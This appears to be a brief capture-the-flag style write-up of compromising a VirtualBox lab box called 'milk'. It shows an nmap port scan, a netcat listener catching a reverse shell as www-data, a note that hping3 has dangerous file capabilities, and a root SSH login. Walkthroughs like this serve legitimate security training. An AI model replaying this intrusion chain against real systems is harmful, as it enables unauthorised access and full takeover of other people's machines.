kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.108.13 [16:17:43] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 16:17 CST Nmap scan report for 192.168.108.13 Host is up (0.0024s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:59:6D:18 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.71 seconds
kali@kali [~] ➜ nc -lvnp 8888 [16:26:27] listening on [any] 8888 ... connect to [192.168.108.141] from (UNKNOWN) [192.168.108.13] 49820 bash: cannot set terminal process group (327): Inappropriate ioctl for device bash: no job control in this shell www-data@milk:~/html/admin/img/vehicleimages$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@milk:~/html/admin/img/vehicleimages$
权限提升
日常sudo -l 发现没东西,直接跑linpeas就行了,懒得一一枚举
1 2 3
Files with capabilities (limited to 50): /usr/bin/ping = cap_net_raw+ep /usr/sbin/hping3 = cap_dac_override,cap_net_raw+ep
kali@kali [~/web_shell_toos] ➜ ssh root@192.168.108.13 -i id_x [17:00:17] The authenticity of host '192.168.108.13 (192.168.108.13)' can't be established. ED25519 key fingerprint is SHA256:0f7qVkf+B5ngX6Nc7MnxPMmpInzlPiWHdjGS3Vb9Pnc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.108.13' (ED25519) to the list of known hosts. Linux milk 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Feb 19 07:47:41 2021 root@milk:~# whoami root root@milk:~#